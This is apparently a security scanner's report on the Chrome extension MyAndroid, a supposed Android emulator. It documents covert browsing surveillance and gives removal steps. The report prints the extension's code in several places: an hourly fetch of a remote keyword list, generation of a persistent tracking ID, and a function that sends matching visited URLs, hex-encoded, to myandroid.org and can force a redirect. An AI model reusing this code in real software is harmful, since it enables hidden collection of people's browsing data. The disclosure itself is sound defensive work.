Is Android emulator MyAndroid safe?
MyAndroid is high risk. The extension fetches a keyword list from www.myandroid.org hourly to decide what to report. The list ('apk','aab','xapk',...) is stored locally: non-matching URLs draw no requests, while three APK navigations each triggered transmission.…
Who publishes itMyAndroid - 6 other listings from the same operator, none carrying a finding
MyAndroid - 6 other listings from the same operator, none carrying a finding
Same store account
1 other listing published from this account, 2k+ users between them, none of them carrying a finding.
Same operator - 5 listings
Published under a different store account, but sharing the registered address, contact or declared legal entity this one gave the store.
Shared hosts - 1 hostname
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
MyAndroid findings
Remote Server Controls Which URLs Are Collected via Keyword Config
The extension fetches a keyword list from www.myandroid.org hourly to decide what to report.
The list ('apk','aab','xapk',...) is stored locally: non-matching URLs draw no requests, while three APK navigations each triggered transmission.
What actually happens
You navigate to any page while the extension is installed.
The extension checks your URL against a keyword list fetched from www.myandroid.org, then transmits the URL if it matches.
The keyword list is refreshed from the server at most once per hour, giving the server operator control over which URLs are collected without updating the extension.
When this fires
Every 1 hour
Config is refreshed at most once per hour. The check fires on every navigation event; if an hour has elapsed since the last fetch, a new GET request retrieves the current keyword list.
What's stored on your device
The active keyword list from analysis. A URL containing a term (apk, aab, xapk...) triggers transmission; the server can change it anytime.
- Location
- chrome.storage.local key 'filetypesData'
<head/><xml>;apk;apks;aab;xapk;apkm;akp;ama;tem;exp;tri;hot;exp;</xml>The code that does this
Config fetch and keyword-match logic:
// Step 1: fetch and cache the keyword list (at most once per hour)fetch('https://www.myandroid.org/app/filetypes-list.php') .then(res => res.text()) .then(rawConfig => { chrome.storage.local.set({ filetypesData: rawConfig, // e.g. "<head/><xml>;apk;aab;xapk;</xml>" lastFetchTime: Date.now() }); });// Step 2: on each navigation, test the URL against the cached keyword listlet config = cachedData.trim();if (config.startsWith('<xml>') && config.endsWith('</xml>')) { config = config.slice(5, -6); // strip XML wrapper}const keywords = config.split(';').map(k => k.trim()).filter(Boolean);for (const keyword of keywords) { if (currentUrl.includes(keyword)) { sendUrlToServer(currentUrl + '|||xx', userId); // transmit on first match return; }}Remote configuration source
- www.myandroid.org
Hosts the keyword config at /app/filetypes-list.php and receives collected URLs at /app/a-androidemula-v3.php; one operator controls both.
Persistent Tracking ID Generated and Sent with Every URL Report
On first run, the extension makes a 10-char random ID, stored permanently.
The value ('jquavyabcc' here) appeared in every outbound transmission as 'usty', across two consecutive requests, letting the server link all reports to one install.
What actually happens
You install the extension for the first time.
The extension generates a random 10-character identifier and stores it permanently on your device.
From that point on, every URL report the extension sends includes this identifier, allowing the collection server to link all your reports together.
What's stored on your device
The persistent tracking ID captured during analysis, present in both observed URL-reporting requests and stored across restarts.
- Location
- chrome.storage.local key 'usty'
jquavyabccThe code that does this
ID generation and persistence on first run:
// On extension startup: load or generate the persistent user identifier.chrome.storage.local.get('usty', function(stored) { chrome.storage.local.set({ myroidc: '1' }); // enable collection by default if (stored.usty) { // Returning install: reuse the stored ID userId = stored.usty; const tracker = new NavigationTracker(userId); tracker.init(); } else { // First run: generate a new permanent 10-char random ID userId = randStrr(10).toLowerCase(); chrome.storage.local.set({ usty: userId }, function() { const tracker = new NavigationTracker(userId); tracker.init(); }); }});Captured request
HTTP 200; same 'usty=jquavyabcc' present in a second captured request to same endpoint, confirming persistent cross-session correlation.
Visited URLs Sent to Remote Server When Keywords Match
Dynamic analysis captured the extension sending full page URLs to myandroid.org on navigations matching a keyword from a remote list, hex-encoded plus a per-user ID.
Three APK navigations each produced an outbound GET within seconds.
What actually happens
You navigate to a page whose URL contains a keyword from the extension's remotely-configured list.
The extension sends the full URL of that page and your persistent user ID to www.myandroid.org without any visible notification.
The request fires as a GET to a-androidemula-v3.php with the URL hex-encoded in the 'filepath' parameter.
Captured request
HTTP 200; response body checked for '1302' string which would trigger a forced tab redirect.
Why you can't catch this in DevTools
The visited URL is hex-encoded in the 'filepath' query parameter, making it non-obvious in proxy logs without decoding.
https://www.apkmirror.com/apk/google-inc/|||xxData transmitted in each collection request
- Page URL you visitedhttps://www.apkmirror.com/apk/google-inc/ (decoded from filepath param)
The full address of the page, hex-encoded. Captures the exact resource you accessed, including any query parameters.
- Your persistent user IDjquavyabcc
A 10-character random string generated on first run and stored permanently. Lets the server link all your URL reports across sessions.
- Request type flagdx=00, hex=1
Hardcoded value 'dx=00' and 'hex=1' sent with every request.
The code that does this
The transmission function in the extension source:
// Sends the visited URL (hex-encoded) and persistent user ID to the collection server.// Also: if the server responds with '1302' in the body, the current tab is// redirected to a second endpoint (r-androidemula-v3.php) — a server-triggered redirect.async function sendUrlToServer(visitedUrl, userId) { const hexUrl = bin2hex(visitedUrl + '|||xx'); // append suffix before encoding const collectUrl = `https://www.myandroid.org/app/a-androidemula-v3.php?dx=00&filepath=${hexUrl}&hex=1&usty=${userId}`; const response = await fetch(collectUrl); if (response.status === 200) { const body = await response.text(); if (body.includes('1302')) { // Server-triggered redirect: force current tab to second endpoint const redirectUrl = `https://www.myandroid.org/app/r-androidemula-v3.php?dx=00&filepath=${hexUrl}&hex=1&usty=${userId}`; chrome.tabs.update(currentTabId, { url: redirectUrl }); } }}Where the URL data is sent
- www.myandroid.org
Primary collection endpoint. Receives hex-encoded URLs and persistent user IDs via GET to /app/a-androidemula-v3.php. Also hosts the keyword config at /app/filetypes-list.php.
If you have MyAndroid installed
- Open
chrome://extensionsand turn on Developer mode to show IDs. Find the one with IDnpcbllnmpghkdjeaocappkiedkiljhgkand choose Remove. - Scan your browser to check the rest of your extensions.
What MyAndroid can do
Permissions this extension asks for, as declared in version 1.3.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
See every page you navigate to, as you navigate to it
webNavigation
Chrome Web Store listing
- Versions
- 1.3.1 seen since March 4, 2026
- Store rating
- 2.6 from 142 ratings
- Last updated
- March 25, 2025
- Size
- 483 KiB
- Privacy policy
- www.myandroid.org
